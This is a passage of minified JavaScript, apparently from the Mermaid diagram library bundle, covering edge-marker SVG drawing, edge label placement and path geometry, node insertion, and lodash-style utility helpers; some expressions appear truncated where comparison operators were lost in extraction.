strict";fa={aggregation:17.25,extension:17.25,composition:17.25,dependency:6,lollipop:13.5,arrow_point:4},Y9={arrow_point:9,arrow_cross:12.5,arrow_circle:12.5};o(uw,"calculateDeltaAndAngle");Xn=o(t=>Array.isArray(t)?{x:t[0],y:t[1]}:t,"pointTransformer"),hw=o(t=>({x:o(function(e,r,n){let i=0,a=Xn(n[0]).x=0?1:-1)}else if(r===n.length-1&&Object.hasOwn(fa,t.arrowTypeEnd)){let{angle:m,deltaX:g}=uw(n[n.length-1],n[n.length-2]);i=fa[t.arrowTypeEnd]*Math.cos(m)*(g>=0?1:-1)}let s=Math.abs(Xn(e).x-Xn(n[n.length-1]).x),l=Math.abs(Xn(e).y-Xn(n[n.length-1]).y),u=Math.abs(Xn(e).x-Xn(n[0]).x),h=Math.abs(Xn(e).y-Xn(n[0]).y),f=fa[t.arrowTypeStart],d=fa[t.arrowTypeEnd],p=1;if(s0&&l0&&h=0?1:-1)}else if(r===n.length-1&&Object.hasOwn(fa,t.arrowTypeEnd)){let{angle:m,deltaY:g}=uw(n[n.length-1],n[n.length-2]);i=fa[t.arrowTypeEnd]*Math.abs(Math.sin(m))*(g>=0?1:-1)}let s=Math.abs(Xn(e).y-Xn(n[n.length-1]).y),l=Math.abs(Xn(e).x-Xn(n[n.length-1]).x),u=Math.abs(Xn(e).y-Xn(n[0]).y),h=Math.abs(Xn(e).x-Xn(n[0]).x),f=fa[t.arrowTypeStart],d=fa[t.arrowTypeEnd],p=1;if(s0&&l0&&h{"use strict";pt();Vte=o((t,e,r,n,i,a)=>{e.arrowTypeStart&&Gte(t,"start",e.arrowTypeStart,r,n,i,a),e.arrowTypeEnd&&Gte(t,"end",e.arrowTypeEnd,r,n,i,a)},"addEdgeMarkers"),MRe={arrow_cross:{type:"cross",fill:!1},arrow_point:{type:"point",fill:!0},arrow_barb:{type:"barb",fill:!0},arrow_circle:{type:"circle",fill:!1},aggregation:{type:"aggregation",fill:!1},extension:{type:"extension",fill:!1},composition:{type:"composition",fill:!0},dependency:{type:"dependency",fill:!0},lollipop:{type:"lollipop",fill:!1},only_one:{type:"onlyOne",fill:!1},zero_or_one:{type:"zeroOrOne",fill:!1},one_or_more:{type:"oneOrMore",fill:!1},zero_or_more:{type:"zeroOrMore",fill:!1},requirement_arrow:{type:"requirement_arrow",fill:!1},requirement_contains:{type:"requirement_contains",fill:!1}},Gte=o((t,e,r,n,i,a,s)=>{let l=MRe[r];if(!l){X.warn(`Unknown arrow type: ${r}`);return}let u=l.type,f=`${i}_${a}-${u}${e==="start"?"Start":"End"}`;if(s&&s.trim()!==""){let d=s.replace(/[^\dA-Za-z]/g,"_"),p=`${f}_${d}`;if(!document.getElementById(p)){let m=document.getElementById(f);if(m){let g=m.cloneNode(!0);g.id=p,g.querySelectorAll("path, circle, line").forEach(v=>{v.setAttribute("stroke",s),l.fill&&v.setAttribute("fill",s)}),m.parentNode?.appendChild(g)}}t.attr(`marker-${e}`,`url(${n}#${p})`)}else t.attr(`marker-${e}`,`url(${n}#${f})`)},"addEdgeMarker")});function dw(t,e){ge().flowchart.htmlLabels&&t&&(t.style.width=e.length*9+"px",t.style.height="12px")}function PRe(t){let e=[],r=[];for(let n=1;n5&&Math.abs(a.y-i.y)>5||i.y===a.y&&a.x===s.x&&Math.abs(a.x-i.x)>5&&Math.abs(a.y-s.y)>5)&&(e.push(a),r.push(n))}return{cornerPoints:e,cornerPointPositions:r}}function $Re(t,e){if(t.length<2)return"";let r="",n=t.length,i=1e-5;for(let a=0;a({...i}));if(t.length>=2&&fa[e.arrowTypeStart]){let i=fa[e.arrowTypeStart],a=t[0],s=t[1],{angle:l}=Wte(a,s),u=i*Math.cos(l),h=i*Math.sin(l);r[0].x=a.x+u,r[0].y=a.y+h}let n=t.length;if(n>=2&&fa[e.arrowTypeEnd]){let i=fa[e.arrowTypeEnd],a=t[n-1],s=t[n-2],{angle:l}=Wte(s,a),u=i*Math.cos(l),h=i*Math.sin(l);r[n-1].x=a.x-u,r[n-1].y=a.y-h}return r}var pw,da,Yte,fw,mw,gw,IRe,ORe,Hte,qte,BRe,FRe,yw,j9=N(()=>{"use strict";Xt();gr();pt();zo();tr();X9();O2();yr();Ht();aw();Ute();$t();pw=new Map,da=new Map,Yte=o(()=>{pw.clear(),da.clear()},"clear"),fw=o(t=>t?t.reduce((r,n)=>r+";"+n,""):"","getLabelStyles"),mw=o(async(t,e)=>{let r=vr(ge().flowchart.htmlLabels),{labelStyles:n}=je(e);e.labelStyle=n;let i=await di(t,e.label,{style:e.labelStyle,useHtmlLabels:r,addSvgBackground:!0,isNode:!1});X.info("abc82",e,e.labelType);let a=t.insert("g").attr("class","edgeLabel"),s=a.insert("g").attr("class","label").attr("data-id",e.id);s.node().appendChild(i);let l=i.getBBox();if(r){let h=i.children[0],f=qe(i);l=h.getBoundingClientRect(),f.attr("width",l.width),f.attr("height",l.height)}s.attr("transform","translate("+-l.width/2+", "+-l.height/2+")"),pw.set(e.id,a),e.width=l.width,e.height=l.height;let u;if(e.startLabelLeft){let h=await kc(e.startLabelLeft,fw(e.labelStyle)),f=t.insert("g").attr("class","edgeTerminals"),d=f.insert("g").attr("class","inner");u=d.node().appendChild(h);let p=h.getBBox();d.attr("transform","translate("+-p.width/2+", "+-p.height/2+")"),da.get(e.id)||da.set(e.id,{}),da.get(e.id).startLeft=f,dw(u,e.startLabelLeft)}if(e.startLabelRight){let h=await kc(e.startLabelRight,fw(e.labelStyle)),f=t.insert("g").attr("class","edgeTerminals"),d=f.insert("g").attr("class","inner");u=f.node().appendChild(h),d.node().appendChild(h);let p=h.getBBox();d.attr("transform","translate("+-p.width/2+", "+-p.height/2+")"),da.get(e.id)||da.set(e.id,{}),da.get(e.id).startRight=f,dw(u,e.startLabelRight)}if(e.endLabelLeft){let h=await kc(e.endLabelLeft,fw(e.labelStyle)),f=t.insert("g").attr("class","edgeTerminals"),d=f.insert("g").attr("class","inner");u=d.node().appendChild(h);let p=h.getBBox();d.attr("transform","translate("+-p.width/2+", "+-p.height/2+")"),f.node().appendChild(h),da.get(e.id)||da.set(e.id,{}),da.get(e.id).endLeft=f,dw(u,e.endLabelLeft)}if(e.endLabelRight){let h=await kc(e.endLabelRight,fw(e.labelStyle)),f=t.insert("g").attr("class","edgeTerminals"),d=f.insert("g").attr("class","inner");u=d.node().appendChild(h);let p=h.getBBox();d.attr("transform","translate("+-p.width/2+", "+-p.height/2+")"),f.node().appendChild(h),da.get(e.id)||da.set(e.id,{}),da.get(e.id).endRight=f,dw(u,e.endLabelRight)}return i},"insertEdgeLabel");o(dw,"setTerminalWidth");gw=o((t,e)=>{X.debug("Moving label abc88 ",t.id,t.label,pw.get(t.id),e);let r=e.updatedPath?e.updatedPath:e.originalPath,n=ge(),{subGraphTitleTotalMargin:i}=Pu(n);if(t.label){let a=pw.get(t.id),s=t.x,l=t.y;if(r){let u=qt.calcLabelPosition(r);X.debug("Moving label "+t.label+" from (",s,",",l,") to (",u.x,",",u.y,") abc88"),e.updatedPath&&(s=u.x,l=u.y)}a.attr("transform",`translate(${s}, ${l+i/2})`)}if(t.startLabelLeft){let a=da.get(t.id).startLeft,s=t.x,l=t.y;if(r){let u=qt.calcTerminalLabelPosition(t.arrowTypeStart?10:0,"start_left",r);s=u.x,l=u.y}a.attr("transform",`translate(${s}, ${l})`)}if(t.startLabelRight){let a=da.get(t.id).startRight,s=t.x,l=t.y;if(r){let u=qt.calcTerminalLabelPosition(t.arrowTypeStart?10:0,"start_right",r);s=u.x,l=u.y}a.attr("transform",`translate(${s}, ${l})`)}if(t.endLabelLeft){let a=da.get(t.id).endLeft,s=t.x,l=t.y;if(r){let u=qt.calcTerminalLabelPosition(t.arrowTypeEnd?10:0,"end_left",r);s=u.x,l=u.y}a.attr("transform",`translate(${s}, ${l})`)}if(t.endLabelRight){let a=da.get(t.id).endRight,s=t.x,l=t.y;if(r){let u=qt.calcTerminalLabelPosition(t.arrowTypeEnd?10:0,"end_right",r);s=u.x,l=u.y}a.attr("transform",`translate(${s}, ${l})`)}},"positionEdgeLabel"),IRe=o((t,e)=>{let r=t.x,n=t.y,i=Math.abs(e.x-r),a=Math.abs(e.y-n),s=t.width/2,l=t.height/2;return i>=s||a>=l},"outsideNode"),ORe=o((t,e,r)=>{X.debug(`intersection calc abc89: + outsidePoint: ${JSON.stringify(e)} + insidePoint : ${JSON.stringify(r)} + node : x:${t.x} y:${t.y} w:${t.width} h:${t.height}`);let n=t.x,i=t.y,a=Math.abs(n-r.x),s=t.width/2,l=r.xMath.abs(n-e.x)*u){let d=r.y{X.warn("abc88 cutPathAtIntersect",t,e);let r=[],n=t[0],i=!1;return t.forEach(a=>{if(X.info("abc88 checking point",a,e),!IRe(e,a)&&!i){let s=ORe(e,n,a);X.debug("abc88 inside",a,n,s),X.debug("abc88 intersection",s,e);let l=!1;r.forEach(u=>{l=l||u.x===s.x&&u.y===s.y}),r.some(u=>u.x===s.x&&u.y===s.y)?X.warn("abc88 no intersect",s,r):r.push(s),i=!0}else X.warn("abc88 outside",a,n),n=a,i||r.push(a)}),X.debug("returning points",r),r},"cutPathAtIntersect");o(PRe,"extractCornerPoints");qte=o(function(t,e,r){let n=e.x-t.x,i=e.y-t.y,a=Math.sqrt(n*n+i*i),s=r/a;return{x:e.x-s*n,y:e.y-s*i}},"findAdjacentPoint"),BRe=o(function(t){let{cornerPointPositions:e}=PRe(t),r=[];for(let n=0;n10&&Math.abs(a.y-i.y)>=10){X.debug("Corner point fixing",Math.abs(a.x-i.x),Math.abs(a.y-i.y));let m=5;s.x===l.x?p={x:h<0?l.x-m+d:l.x+m-d,y:f<0?l.y-d:l.y+d}:p={x:h<0?l.x-d:l.x+d,y:f<0?l.y-m+d:l.y+m-d}}else X.debug("Corner point skipping fixing",Math.abs(a.x-i.x),Math.abs(a.y-i.y));r.push(p,u)}else r.push(t[n]);return r},"fixCorners"),FRe=o((t,e,r)=>{let n=t-e-r,i=2,a=2,s=i+a,l=Math.floor(n/s),u=Array(l).fill(`${i} ${a}`).join(" ");return`0 ${e} ${u} ${r}`},"generateDashArray"),yw=o(function(t,e,r,n,i,a,s,l=!1){let{handDrawnSeed:u}=ge(),h=e.points,f=!1,d=i;var p=a;let m=[];for(let _ in e.cssCompiledStyles)_2(_)||m.push(e.cssCompiledStyles[_]);X.debug("UIO intersect check",e.points,p.x,d.x),p.intersect&&d.intersect&&!l&&(h=h.slice(1,e.points.length-1),h.unshift(d.intersect(h[0])),X.debug("Last point UIO",e.start,"-->",e.end,h[h.length-1],p,p.intersect(h[h.length-1])),h.push(p.intersect(h[h.length-1])));let g=btoa(JSON.stringify(h));e.toCluster&&(X.info("to cluster abc88",r.get(e.toCluster)),h=Hte(e.points,r.get(e.toCluster).node),f=!0),e.fromCluster&&(X.debug("from cluster abc88",r.get(e.fromCluster),JSON.stringify(h,null,2)),h=Hte(h.reverse(),r.get(e.fromCluster).node).reverse(),f=!0);let y=h.filter(_=>!Number.isNaN(_.y));y=BRe(y);let v=No;switch(v=Cu,e.curve){case"linear":v=Cu;break;case"basis":v=No;break;case"cardinal":v=Yv;break;case"bumpX":v=Vv;break;case"bumpY":v=Uv;break;case"catmullRom":v=Kv;break;case"monotoneX":v=Qv;break;case"monotoneY":v=Zv;break;case"natural":v=J0;break;case"step":v=em;break;case"stepAfter":v=e2;break;case"stepBefore":v=Jv;break;default:v=No}let{x,y:b}=hw(e),T=Cl().x(x).y(b).curve(v),S;switch(e.thickness){case"normal":S="edge-thickness-normal";break;case"thick":S="edge-thickness-thick";break;case"invisible":S="edge-thickness-invisible";break;default:S="edge-thickness-normal"}switch(e.pattern){case"solid":S+=" edge-pattern-solid";break;case"dotted":S+=" edge-pattern-dotted";break;case"dashed":S+=" edge-pattern-dashed";break;default:S+=" edge-pattern-solid"}let w,k=e.curve==="rounded"?$Re(zRe(y,e),5):T(y),A=Array.isArray(e.style)?e.style:[e.style],C=A.find(_=>_?.startsWith("stroke:")),R=!1;if(e.look==="handDrawn"){let _=Ze.svg(t);Object.assign([],y);let O=_.path(k,{roughness:.3,seed:u});S+=" transition",w=qe(O).select("path").attr("id",e.id).attr("class"," "+S+(e.classes?" "+e.classes:"")).attr("style",A?A.reduce((P,B)=>P+";"+B,""):"");let M=w.attr("d");w.attr("d",M),t.node().appendChild(w.node())}else{let _=m.join(";"),O=A?A.reduce((U,j)=>U+j+";",""):"",M="";e.animate&&(M=" edge-animation-fast"),e.animation&&(M=" edge-animation-"+e.animation);let P=(_?_+";"+O+";":O)+";"+(A?A.reduce((U,j)=>U+";"+j,""):"");w=t.append("path").attr("d",k).attr("id",e.id).attr("class"," "+S+(e.classes?" "+e.classes:"")+(M??"")).attr("style",P),C=P.match(/stroke:([^;]+)/)?.[1],R=e.animate===!0||!!e.animation||_.includes("animation");let B=w.node(),F=typeof B.getTotalLength=="function"?B.getTotalLength():0,G=Y9[e.arrowTypeStart]||0,$=Y9[e.arrowTypeEnd]||0;if(e.look==="neo"&&!R){let j=`stroke-dasharray: ${e.pattern==="dotted"||e.pattern==="dashed"?FRe(F,G,$):`0 ${G} ${F-G-$} ${$}`}; stroke-dashoffset: 0;`;w.attr("style",j+w.attr("style"))}}w.attr("data-edge",!0),w.attr("data-et","edge"),w.attr("data-id",e.id),w.attr("data-points",g),e.showPoints&&y.forEach(_=>{t.append("circle").style("stroke","red").style("fill","red").attr("r",1).attr("cx",_.x).attr("cy",_.y)});let I="";(ge().flowchart.arrowMarkerAbsolute||ge().state.arrowMarkerAbsolute)&&(I=window.location.protocol+"//"+window.location.host+window.location.pathname+window.location.search,I=I.replace(/\(/g,"\\(").replace(/\)/g,"\\)")),X.info("arrowTypeStart",e.arrowTypeStart),X.info("arrowTypeEnd",e.arrowTypeEnd),Vte(w,e,I,s,n,C);let L=Math.floor(h.length/2),E=h[L];qt.isLabelCoordinateInPath(E,w.attr("d"))||(f=!0);let D={};return f&&(D.updatedPath=h),D.originalPath=e.points,D},"insertEdge");o($Re,"generateRoundedPath");o(Wte,"calculateDeltaAndAngle");o(zRe,"applyMarkerOffsetsToPoints")});var GRe,VRe,URe,HRe,qRe,WRe,YRe,XRe,jRe,KRe,QRe,ZRe,JRe,eNe,tNe,rNe,nNe,vw,K9=N(()=>{"use strict";pt();GRe=o((t,e,r,n)=>{e.forEach(i=>{nNe[i](t,r,n)})},"insertMarkers"),VRe=o((t,e,r)=>{X.trace("Making markers for ",r),t.append("defs").append("marker").attr("id",r+"_"+e+"-extensionStart").attr("class","marker extension "+e).attr("refX",18).attr("refY",7).attr("markerWidth",190).attr("markerHeight",240).attr("orient","auto").append("path").attr("d","M 1,7 L18,13 V 1 Z"),t.append("defs").append("marker").attr("id",r+"_"+e+"-extensionEnd").attr("class","marker extension "+e).attr("refX",1).attr("refY",7).attr("markerWidth",20).attr("markerHeight",28).attr("orient","auto").append("path").attr("d","M 1,1 V 13 L18,7 Z")},"extension"),URe=o((t,e,r)=>{t.append("defs").append("marker").attr("id",r+"_"+e+"-compositionStart").attr("class","marker composition "+e).attr("refX",18).attr("refY",7).attr("markerWidth",190).attr("markerHeight",240).attr("orient","auto").append("path").attr("d","M 18,7 L9,13 L1,7 L9,1 Z"),t.append("defs").append("marker").attr("id",r+"_"+e+"-compositionEnd").attr("class","marker composition "+e).attr("refX",1).attr("refY",7).attr("markerWidth",20).attr("markerHeight",28).attr("orient","auto").append("path").attr("d","M 18,7 L9,13 L1,7 L9,1 Z")},"composition"),HRe=o((t,e,r)=>{t.append("defs").append("marker").attr("id",r+"_"+e+"-aggregationStart").attr("class","marker aggregation "+e).attr("refX",18).attr("refY",7).attr("markerWidth",190).attr("markerHeight",240).attr("orient","auto").append("path").attr("d","M 18,7 L9,13 L1,7 L9,1 Z"),t.append("defs").append("marker").attr("id",r+"_"+e+"-aggregationEnd").attr("class","marker aggregation "+e).attr("refX",1).attr("refY",7).attr("markerWidth",20).attr("markerHeight",28).attr("orient","auto").append("path").attr("d","M 18,7 L9,13 L1,7 L9,1 Z")},"aggregation"),qRe=o((t,e,r)=>{t.append("defs").append("marker").attr("id",r+"_"+e+"-dependencyStart").attr("class","marker dependency "+e).attr("refX",6).attr("refY",7).attr("markerWidth",190).attr("markerHeight",240).attr("orient","auto").append("path").attr("d","M 5,7 L9,13 L1,7 L9,1 Z"),t.append("defs").append("marker").attr("id",r+"_"+e+"-dependencyEnd").attr("class","marker dependency "+e).attr("refX",13).attr("refY",7).attr("markerWidth",20).attr("markerHeight",28).attr("orient","auto").append("path").attr("d","M 18,7 L9,13 L14,7 L9,1 Z")},"dependency"),WRe=o((t,e,r)=>{t.append("defs").append("marker").attr("id",r+"_"+e+"-lollipopStart").attr("class","marker lollipop "+e).attr("refX",13).attr("refY",7).attr("markerWidth",190).attr("markerHeight",240).attr("orient","auto").append("circle").attr("stroke","black").attr("fill","transparent").attr("cx",7).attr("cy",7).attr("r",6),t.append("defs").append("marker").attr("id",r+"_"+e+"-lollipopEnd").attr("class","marker lollipop "+e).attr("refX",1).attr("refY",7).attr("markerWidth",190).attr("markerHeight",240).attr("orient","auto").append("circle").attr("stroke","black").attr("fill","transparent").attr("cx",7).attr("cy",7).attr("r",6)},"lollipop"),YRe=o((t,e,r)=>{t.append("marker").attr("id",r+"_"+e+"-pointEnd").attr("class","marker "+e).attr("viewBox","0 0 10 10").attr("refX",5).attr("refY",5).attr("markerUnits","userSpaceOnUse").attr("markerWidth",8).attr("markerHeight",8).attr("orient","auto").append("path").attr("d","M 0 0 L 10 5 L 0 10 z").attr("class","arrowMarkerPath").style("stroke-width",1).style("stroke-dasharray","1,0"),t.append("marker").attr("id",r+"_"+e+"-pointStart").attr("class","marker "+e).attr("viewBox","0 0 10 10").attr("refX",4.5).attr("refY",5).attr("markerUnits","userSpaceOnUse").attr("markerWidth",8).attr("markerHeight",8).attr("orient","auto").append("path").attr("d","M 0 5 L 10 10 L 10 0 z").attr("class","arrowMarkerPath").style("stroke-width",1).style("stroke-dasharray","1,0")},"point"),XRe=o((t,e,r)=>{t.append("marker").attr("id",r+"_"+e+"-circleEnd").attr("class","marker "+e).attr("viewBox","0 0 10 10").attr("refX",11).attr("refY",5).attr("markerUnits","userSpaceOnUse").attr("markerWidth",11).attr("markerHeight",11).attr("orient","auto").append("circle").attr("cx","5").attr("cy","5").attr("r","5").attr("class","arrowMarkerPath").style("stroke-width",1).style("stroke-dasharray","1,0"),t.append("marker").attr("id",r+"_"+e+"-circleStart").attr("class","marker "+e).attr("viewBox","0 0 10 10").attr("refX",-1).attr("refY",5).attr("markerUnits","userSpaceOnUse").attr("markerWidth",11).attr("markerHeight",11).attr("orient","auto").append("circle").attr("cx","5").attr("cy","5").attr("r","5").attr("class","arrowMarkerPath").style("stroke-width",1).style("stroke-dasharray","1,0")},"circle"),jRe=o((t,e,r)=>{t.append("marker").attr("id",r+"_"+e+"-crossEnd").attr("class","marker cross "+e).attr("viewBox","0 0 11 11").attr("refX",12).attr("refY",5.2).attr("markerUnits","userSpaceOnUse").attr("markerWidth",11).attr("markerHeight",11).attr("orient","auto").append("path").attr("d","M 1,1 l 9,9 M 10,1 l -9,9").attr("class","arrowMarkerPath").style("stroke-width",2).style("stroke-dasharray","1,0"),t.append("marker").attr("id",r+"_"+e+"-crossStart").attr("class","marker cross "+e).attr("viewBox","0 0 11 11").attr("refX",-1).attr("refY",5.2).attr("markerUnits","userSpaceOnUse").attr("markerWidth",11).attr("markerHeight",11).attr("orient","auto").append("path").attr("d","M 1,1 l 9,9 M 10,1 l -9,9").attr("class","arrowMarkerPath").style("stroke-width",2).style("stroke-dasharray","1,0")},"cross"),KRe=o((t,e,r)=>{t.append("defs").append("marker").attr("id",r+"_"+e+"-barbEnd").attr("refX",19).attr("refY",7).attr("markerWidth",20).attr("markerHeight",14).attr("markerUnits","userSpaceOnUse").attr("orient","auto").append("path").attr("d","M 19,7 L9,13 L14,7 L9,1 Z")},"barb"),QRe=o((t,e,r)=>{t.append("defs").append("marker").attr("id",r+"_"+e+"-onlyOneStart").attr("class","marker onlyOne "+e).attr("refX",0).attr("refY",9).attr("markerWidth",18).attr("markerHeight",18).attr("orient","auto").append("path").attr("d","M9,0 L9,18 M15,0 L15,18"),t.append("defs").append("marker").attr("id",r+"_"+e+"-onlyOneEnd").attr("class","marker onlyOne "+e).attr("refX",18).attr("refY",9).attr("markerWidth",18).attr("markerHeight",18).attr("orient","auto").append("path").attr("d","M3,0 L3,18 M9,0 L9,18")},"only_one"),ZRe=o((t,e,r)=>{let n=t.append("defs").append("marker").attr("id",r+"_"+e+"-zeroOrOneStart").attr("class","marker zeroOrOne "+e).attr("refX",0).attr("refY",9).attr("markerWidth",30).attr("markerHeight",18).attr("orient","auto");n.append("circle").attr("fill","white").attr("cx",21).attr("cy",9).attr("r",6),n.append("path").attr("d","M9,0 L9,18");let i=t.append("defs").append("marker").attr("id",r+"_"+e+"-zeroOrOneEnd").attr("class","marker zeroOrOne "+e).attr("refX",30).attr("refY",9).attr("markerWidth",30).attr("markerHeight",18).attr("orient","auto");i.append("circle").attr("fill","white").attr("cx",9).attr("cy",9).attr("r",6),i.append("path").attr("d","M21,0 L21,18")},"zero_or_one"),JRe=o((t,e,r)=>{t.append("defs").append("marker").attr("id",r+"_"+e+"-oneOrMoreStart").attr("class","marker oneOrMore "+e).attr("refX",18).attr("refY",18).attr("markerWidth",45).attr("markerHeight",36).attr("orient","auto").append("path").attr("d","M0,18 Q 18,0 36,18 Q 18,36 0,18 M42,9 L42,27"),t.append("defs").append("marker").attr("id",r+"_"+e+"-oneOrMoreEnd").attr("class","marker oneOrMore "+e).attr("refX",27).attr("refY",18).attr("markerWidth",45).attr("markerHeight",36).attr("orient","auto").append("path").attr("d","M3,9 L3,27 M9,18 Q27,0 45,18 Q27,36 9,18")},"one_or_more"),eNe=o((t,e,r)=>{let n=t.append("defs").append("marker").attr("id",r+"_"+e+"-zeroOrMoreStart").attr("class","marker zeroOrMore "+e).attr("refX",18).attr("refY",18).attr("markerWidth",57).attr("markerHeight",36).attr("orient","auto");n.append("circle").attr("fill","white").attr("cx",48).attr("cy",18).attr("r",6),n.append("path").attr("d","M0,18 Q18,0 36,18 Q18,36 0,18");let i=t.append("defs").append("marker").attr("id",r+"_"+e+"-zeroOrMoreEnd").attr("class","marker zeroOrMore "+e).attr("refX",39).attr("refY",18).attr("markerWidth",57).attr("markerHeight",36).attr("orient","auto");i.append("circle").attr("fill","white").attr("cx",9).attr("cy",18).attr("r",6),i.append("path").attr("d","M21,18 Q39,0 57,18 Q39,36 21,18")},"zero_or_more"),tNe=o((t,e,r)=>{t.append("defs").append("marker").attr("id",r+"_"+e+"-requirement_arrowEnd").attr("refX",20).attr("refY",10).attr("markerWidth",20).attr("markerHeight",20).attr("orient","auto").append("path").attr("d",`M0,0 + L20,10 + M20,10 + L0,20`)},"requirement_arrow"),rNe=o((t,e,r)=>{let n=t.append("defs").append("marker").attr("id",r+"_"+e+"-requirement_containsStart").attr("refX",0).attr("refY",10).attr("markerWidth",20).attr("markerHeight",20).attr("orient","auto").append("g");n.append("circle").attr("cx",10).attr("cy",10).attr("r",9).attr("fill","none"),n.append("line").attr("x1",1).attr("x2",19).attr("y1",10).attr("y2",10),n.append("line").attr("y1",1).attr("y2",19).attr("x1",10).attr("x2",10)},"requirement_contains"),nNe={extension:VRe,composition:URe,aggregation:HRe,dependency:qRe,lollipop:WRe,point:YRe,circle:XRe,cross:jRe,barb:KRe,only_one:QRe,zero_or_one:ZRe,one_or_more:JRe,zero_or_more:eNe,requirement_arrow:tNe,requirement_contains:rNe},vw=GRe});async function Cm(t,e,r){let n,i;e.shape==="rect"&&(e.rx&&e.ry?e.shape="roundedRect":e.shape="squareRect");let a=e.shape?q9[e.shape]:void 0;if(!a)throw new Error(`No such shape: ${e.shape}. Please check your syntax.`);if(e.link){let s;r.config.securityLevel==="sandbox"?s="_top":e.linkTarget&&(s=e.linkTarget||"_blank"),n=t.insert("svg:a").attr("xlink:href",e.link).attr("target",s??null),i=await a(n,e,r)}else i=await a(t,e,r),n=i;return e.tooltip&&i.attr("title",e.tooltip),xw.set(e.id,n),e.haveCallback&&n.attr("class",n.attr("class")+" clickable"),n}var xw,Xte,jte,P2,bw=N(()=>{"use strict";pt();W9();xw=new Map;o(Cm,"insertNode");Xte=o((t,e)=>{xw.set(e.id,t)},"setNodeElem"),jte=o(()=>{xw.clear()},"clear"),P2=o(t=>{let e=xw.get(t.id);X.trace("Transforming node",t.diff,t,"translate("+(t.x-t.width/2-5)+", "+t.width/2+")");let r=8,n=t.diff||0;return t.clusterNode?e.attr("transform","translate("+(t.x+n-t.width/2)+", "+(t.y-t.height/2-r)+")"):e.attr("transform","translate("+t.x+", "+t.y+")"),n},"positionNode")});var Kte,Qte=N(()=>{"use strict";qn();gr();pt();cw();j9();K9();bw();It();tr();Kte={common:tt,getConfig:Qt,insertCluster:Sm,insertEdge:yw,insertEdgeLabel:mw,insertMarkers:vw,insertNode:Cm,interpolateToCurve:FL,labelHelper:ut,log:X,positionEdgeLabel:gw}});function aNe(t){return typeof t=="symbol"||ai(t)&&ha(t)==iNe}var iNe,uo,tp=N(()=>{"use strict";_u();Oo();iNe="[object Symbol]";o(aNe,"isSymbol");uo=aNe});function sNe(t,e){for(var r=-1,n=t==null?0:t.length,i=Array(n);++r{"use strict";o(sNe,"arrayMap");$s=sNe});function ere(t){if(typeof t=="string")return t;if(Bt(t))return $s(t,ere)+"";if(uo(t))return Jte?Jte.call(t):"";var e=t+"";return e=="0"&&1/t==-oNe?"-0":e}var oNe,Zte,Jte,tre,rre=N(()=>{"use strict";$d();rp();Yn();tp();oNe=1/0,Zte=Ki?Ki.prototype:void 0,Jte=Zte?Zte.toString:void 0;o(ere,"baseToString");tre=ere});function cNe(t){for(var e=t.length;e--&&lNe.test(t.charAt(e)););return e}var lNe,nre,ire=N(()=>{"use strict";lNe=/\s/;o(cNe,"trimmedEndIndex");nre=cNe});function hNe(t){return t&&t.slice(0,nre(t)+1).replace(uNe,"")}var uNe,are,sre=N(()=>{"use strict";ire();uNe=/^\s+/;o(hNe,"baseTrim");are=hNe});function gNe(t){if(typeof t=="number")return t;if(uo(t))return ore;if(Sn(t)){var e=typeof t.valueOf=="function"?t.valueOf():t;t=Sn(e)?e+"":e}if(typeof t!="string")return t===0?t:+t;t=are(t);var r=dNe.test(t);return r||pNe.test(t)?mNe(t.slice(2),r?2:8):fNe.test(t)?ore:+t}var ore,fNe,dNe,pNe,mNe,lre,cre=N(()=>{"use strict";sre();oo();tp();ore=NaN,fNe=/^[-+]0x[0-9a-f]+$/i,dNe=/^0b[01]+$/i,pNe=/^0o[0-7]+$/i,mNe=parseInt;o(gNe,"toNumber");lre=gNe});function vNe(t){if(!t)return t===0?t:0;if(t=lre(t),t===ure||t===-ure){var e=t<0?-1:1;return e*yNe}return t===t?t:0}var ure,yNe,Am,Q9=N(()=>{"use strict";cre();ure=1/0,yNe=17976931348623157e292;o(vNe,"toFinite");Am=vNe});function xNe(t){var e=Am(t),r=e%1;return e===e?r?e-r:e:0}var Ec,_m=N(()=>{"use strict";Q9();o(xNe,"toInteger");Ec=xNe});var bNe,Tw,hre=N(()=>{"use strict";Fh();Mo();bNe=Ls(hi,"WeakMap"),Tw=bNe});function TNe(){}var si,Z9=N(()=>{"use strict";o(TNe,"noop");si=TNe});function wNe(t,e){for(var r=-1,n=t==null?0:t.length;++r{"use strict";o(wNe,"arrayEach");ww=wNe});function kNe(t,e,r,n){for(var i=t.length,a=r+(n?1:-1);n?a--:++a{"use strict";o(kNe,"baseFindIndex");kw=kNe});function ENe(t){return t!==t}var fre,dre=N(()=>{"use strict";o(ENe,"baseIsNaN");fre=ENe});function SNe(t,e,r){for(var n=r-1,i=t.length;++n{"use strict";o(SNe,"strictIndexOf");pre=SNe});function CNe(t,e,r){return e===e?pre(t,e,r):kw(t,fre,r)}var Dm,Ew=N(()=>{"use strict";eR();dre();mre();o(CNe,"baseIndexOf");Dm=CNe});function ANe(t,e){var r=t==null?0:t.length;return!!r&&Dm(t,e,0)>-1}var Sw,tR=N(()=>{"use strict";Ew();o(ANe,"arrayIncludes");Sw=ANe});var _Ne,gre,yre=N(()=>{"use strict";SL();_Ne=xT(Object.keys,Object),gre=_Ne});function RNe(t){if(!mc(t))return gre(t);var e=[];for(var r in Object(t))LNe.call(t,r)&&r!="constructor"&&e.push(r);return e}var DNe,LNe,Lm,Cw=N(()=>{"use strict";dm();yre();DNe=Object.prototype,LNe=DNe.hasOwnProperty;o(RNe,"baseKeys");Lm=RNe});function NNe(t){return fi(t)?ET(t):Lm(t)}var qr,Sc=N(()=>{"use strict";LL();Cw();Po();o(NNe,"keys");qr=NNe});var MNe,INe,ONe,pa,vre=N(()=>{"use strict";ym();Hd();IL();Po();dm();Sc();MNe=Object.prototype,INe=MNe.hasOwnProperty,ONe=AT(function(t,e){if(mc(e)||fi(e)){$o(e,qr(e),t);return}for(var r in e)INe.call(e,r)&&gc(t,r,e[r])}),pa=ONe});function FNe(t,e){if(Bt(t))return!1;var r=typeof t;return r=="number"||r=="symbol"||r=="boolean"||t==null||uo(t)?!0:BNe.test(t)||!PNe.test(t)||e!=null&&t in Object(e)}var PNe,BNe,Rm,Aw=N(()=>{"use strict";Yn();tp();PNe=/\.|\[(?:[^[\]]*|(["'])(?:(?!\1)[^\\]|\\.)*?\1)\]/,BNe=/^\w*$/;o(FNe,"isKey");Rm=FNe});function zNe(t){var e=am(t,function(n){return r.size===$Ne&&r.clear(),n}),r=e.cache;return e}var $Ne,xre,bre=N(()=>{"use strict";vL();$Ne=500;o(zNe,"memoizeCapped");xre=zNe});var GNe,VNe,UNe,Tre,wre=N(()=>{"use 